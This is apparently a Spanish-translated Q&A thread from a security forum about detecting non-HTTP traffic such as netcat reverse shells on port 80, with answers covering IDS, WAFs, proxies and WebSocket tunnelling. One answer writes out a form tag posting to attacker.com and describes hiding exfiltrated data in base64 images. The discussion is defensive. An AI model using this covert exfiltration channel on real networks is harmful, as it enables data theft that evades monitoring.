Detectar paquetes no HTTP usando el puerto 80

20

Actualmente estamos realizando una lista blanca de puertos en nuestros firewalls, que funciona bien, pero esto por supuesto no impide la implementación de canales laterales o el uso indebido de estos puertos para otros fines. Por ejemplo, un atacante podría inicializar una sesión de backconnect netcat cuando el oyente externo esté escuchando en el puerto 80.

¿Hay alguna forma de analizar la carga útil de cada paquete para garantizar que utiliza el protocolo que normalmente se asigna al puerto de destino?

Por supuesto, esto es solo un ejemplo y soy consciente de la posibilidad de ocultar la carga útil en una carga útil aparentemente diseñada correctamente. Se trata de hacerlo más difícil para los malos.

    
pregunta davidb 17.02.2016 - 09:03
fuente

4 respuestas

20

Los IDS y varios cortafuegos de inspección profunda (a veces llamados NGFW o UTM) generalmente pueden detectar si el tráfico es HTTP o no. Además, un proxy HTTP en el frente simplemente bloquearía cualquier cosa que no sea HTTP correcto.

Pero ten en cuenta que es posible crear una shell inversa donde el tráfico se verá como HTTP, por lo que este filtrado solo ayudará un poco.

    
respondido por el Steffen Ullrich 17.02.2016 - 09:25
fuente
10

El atacante puede imitar fácilmente el tráfico HTTP, por lo que dudaré de que cualquier IDS / IPS impida que una shell bien desarrollada imite las solicitudes HTTP para exfiltrar datos. Es muy fácil crear una página HTML falsa, incrustar las imágenes con <img src="data:image/png;base64,iVBORw0KG…8bg5CYII="> y colocar el tráfico dentro.

Una compresión sin pérdida (como PNG) permitirá el envío de cualquier información que se necesite al cliente en el interior, y los datos se pueden enviar al exterior usando <form action="http://attacker.com/submit.pl" method="post" enctype="multipart/form-data"> .

    
respondido por el ThoriumBR 17.02.2016 - 12:53
fuente
6

Los IPS / IDS avanzados pueden ayudarlo. pero hay algunos tipos de firewalls que están completamente personalizados para la web (HTTP / HTTPS).

Se llaman WAF, firewalls de aplicaciones web.

Una buena WAF con una configuración adecuada puede evitar muchos ataques, como el que está hablando.

    
respondido por el alone 17.02.2016 - 12:30
fuente
4
  

Por supuesto, esto es solo un ejemplo y soy consciente de la posibilidad de ocultar la carga útil en una carga útil aparentemente diseñada correctamente. Se trata de hacerlo más difícil para los malos.

No es meramente "posible". Es fácil. De hecho, bajo HTML5, es francamente trivial .

Con WebSockets, una conexión similar a HTTP puede canalizar contenido arbitrario entre el cliente Javascript lateral y una aplicación web del lado del servidor. Este es un objetivo de diseño explícito de la norma, no un accidente feliz. Si bien es posible que pueda bloquear WebSockets, es probable que esto rompa las aplicaciones web del mundo real. Peor aún, si el sitio del atacante se sirve a través de HTTPS (que también es fácil ), básicamente no puede bloquear WSS ya que esto requeriría que realice una Ataque MitM precisamente del tipo que TLS está diseñado para prevenir.

Podría emitir sus propios certificados raíz, instalarlos en todas las máquinas de sus clientes y MitM de esa manera. Pero ahora estás jugando paredes y escaleras con tus usuarios. Al romper WebSockets, les está dando un incentivo para que encuentren una manera de evitar su sistema.

El problema es que HTTP no es un protocolo "seguro" o restringido. Fue diseñado para facilitar el intercambio de documentos HTML. No fue diseñado para impedir usos no relacionados con el intercambio de documentos. Entonces, en la práctica, puede ser usado y abusado de muchas maneras, y evitar esto es patológicamente difícil.

Entonces, ¿qué puedes hacer? Bueno, depende de lo que estés tratando de hacer en primer lugar.

Si eres (digamos) una universidad, y estás tratando de evitar que los estudiantes consuman grandes cantidades de ancho de banda jugando juegos en línea, lanzando ilegalmente cosas, etc., luego rastrean su uso de ancho de banda y bloquean el N% superior (para N realista basada en la capacidad de su red).

Si usted es una empresa y está tratando de evitar que ciertos tipos de malware llamen a su casa, probablemente debería concentrarse en educar a sus usuarios sobre el malware, además de cualquier tipo de bloqueo no HTTP que esté realizando.

Si solo estás bloqueando el no HTTP porque no puedes pensar en una buena razón para permitirlo, debes preguntarte cuál es tu modelo de amenaza. ¿Qué ataques serán mitigados por este tipo de bloqueo? ¿Qué usos legítimos dejarán de funcionar? ¿Es probable que la política moleste a los usuarios hasta el punto de intentar evadirlos?

    
respondido por el Kevin 18.02.2016 - 06:03
fuente

Lea otras preguntas en las etiquetas